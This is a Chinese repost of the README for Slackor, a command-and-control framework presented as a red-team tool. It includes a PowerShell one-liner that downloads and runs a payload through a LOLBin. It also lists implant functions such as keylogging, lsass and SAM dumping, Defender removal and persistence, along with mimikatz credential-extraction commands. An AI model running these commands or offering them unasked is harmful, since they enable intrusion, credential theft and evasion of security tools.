Slackor:Go语言写的一款C&C服务器

该项目的灵感来自gcat和twittor。

编译

注意:服务器是用Python 3编写的

为此您需要准备

1.Slack工作区

2.并为slack应用设置以下权限:

立即学习“go语言免费学习笔记(深入)”;

代码语言:javascript代码运行次数:0运行复制
channels:readchannels:historychannels:writefiles:write:userfiles:read创建一个机器人
代码语言:javascript代码运行次数:0运行复制

这个仓库包含五个文件:

如何开始:

代码语言:javascript代码运行次数:0运行复制
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.shsetup.py
代码语言:javascript代码运行次数:0运行复制

为您的应用程序提供OAuth token

成功运行脚本后,脚本将在

dist/
目录中创建几个文件:

代码语言:javascript代码运行次数:0运行复制
agent.windows.exe:Windows 64位二进制文件agent.upx.exe:Windows 64位二进制文件,UPX打包agent.darwin:macOS 64位二进制文件agent.32.linux:Linux 32位二进制文件agent.64.linux:Linux 64位二进制文件
代码语言:javascript代码运行次数:0运行复制

server.py
Linux主机上启动后,

运行

stager
模块以生成单线程和其他dropper。

代码语言:javascript代码运行次数:0运行复制
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
代码语言:javascript代码运行次数:0运行复制

这将执行InvokeWebRequest(PS v.3 +)以下载payload,使用LOLBin执行它

用法

输入

help
或按
[TAB]
查看可用命令列表。输入
help [COMMAND]
以查看该命令的描述。

Slackor代码语言:javascript代码运行次数:0运行复制
help - 显示帮助菜单interact - 与代理交互list - 列出所有已注册的代理商remove - 杀死并删除代理revive - 向所有代理发送信号以重新注册服务器stager - 生成单行程序以下载执行植quit - 退出程序wipefiles - 从Slack中删除所有上传的文件
代码语言:javascript代码运行次数:0运行复制

代理进入后,您可以与其进行交互。使用

interact [AGENT]
进入代理提示符。输入
help
或按
[TAB]
查看可用命令列表。

Slackor:AGENT代码语言:javascript代码运行次数:0运行复制
- 常用命令  - back  - 返回主菜单  - beacon - 更改代理每次登记之间的时间(默认为5秒)  - download- 将代理程序中的文件下载到Slackor服务器  - help - 显示帮助菜单  - kill  - 杀死进程  - sleep - 代理睡眠一次时间(以秒为单位输入时间)  - sysinfo- 显示当前用户,操作系统版本,系统体系结构和CPU核心数  - upload - 从Slackor服务器上传文件到代理  - wget - 通过HTTP / HTTPS下拉任意文件- Windows命令  - bypassuac - 生成代理  - cleanup - 删除持久化操作  - clipboard - 检索剪贴板的内容  - defanger - 去除Windows Defender  - duplicate - 使代理生成另一个自身调用  - getsystem - 将代理生成为NTAUTHORITY / SYSTEM  - keyscan - 在代理上启动键盘记录器  - minidump - 从lsass.exe转储内存并下载  - persist - 通过在ADS中植入二进制文件来创建持久性  - samdump - 尝试转储SAM文件以进行脱机哈希提取  - screenshot - 获取桌面的屏幕截图  - shellcode- 执行x64原始shellcode- Mac命令- Linux命令  - screenshot - 获取桌面的屏幕截图
OPSEC注意事项

除Slack的TLS传输加密外,命令输出和下载的文件都是AES加密的。

模块将在执行写入磁盘的任务之前发出警告。执行shell命令时,请注意

cmd.exe
/
bash
将执行。这可以在主机上监控。以下是几个不执行
cmd.exe
/的OPSEC安全命令
bash

代码语言:javascript代码运行次数:0运行复制
- cat - 打印文件内容- cd - 更改目录- find - 搜索目录文件名- getip - 获取外部IP地址(发出DNS请求)- hostname - 显示主机的名称- ifconfig - 显示接口信息- ls - 列出目录内容- mkdir - 创建目录- pwd - 打印当前工作目录- rm - 删除文件- rmdir - 删除目录- whoami/getuid - 打印当前用户
未来的目标常问问题这对红队/测试使用是否安全?

是的,考虑到一些条件。当数据在传输过程中加密时,代理包含用于解密的密钥。获取代理副本的任何人都可以对其进行反向工程并提取API密钥和AES密钥。任何妥协或以其他方式获得对工作区的访问权限的人都能够检索其中的所有数据。因此,不建议针对多个组织重用基础结构。

Mimikatz怎么样?

植入物没有内存中的密码转储功能。如果您需要logonPasswords,可以尝试以下操作:

代码语言:javascript代码运行次数:0运行复制
(Slackor: AGENT)minidump
代码语言:javascript代码运行次数:0运行复制

这将使用Pypykatz自动提取密码。或者,您可以在Windows上使用Mimikatz。

代码语言:javascript代码运行次数:0运行复制
>mimikatz.exemimikatz # sekurlsa::Minidump lsassdump.dmpmimikatz # sekurlsa::logonPasswords
它是跨平台的吗?

它的跨平台支持有限。它尚未在可以运行的所有系统上进行全面测试。该服务器旨在在Kali Linux上运行。代理程序是针对Windows,Mac和Linux编译的,但主要是使用Windows 10进行测试。代理程序可能会错误处理该代理程序平台不支持的命令(不要尝试对Mac进行小型化)。

它的规模如何?

可伸缩性受Slack API的限制。如果您有多个代理,请考虑增加未使用的信标的信标间隔。

它是否容易受到标准信标分析的影响?

目前,每个信标都内置了20%的抖动,并且可以定制信标时间。只要没有收到新命令,代理登记请求和响应数据包每次大小大致相同。

它被杀软发现!

现在这是开源的,它必然会有问题。我们会尽可能地修复模块,但无法保证这将始终绕过所有AV。

参考来源:GitHub,FB小编周大涛编译,转载请注明来自FreeBuf.COM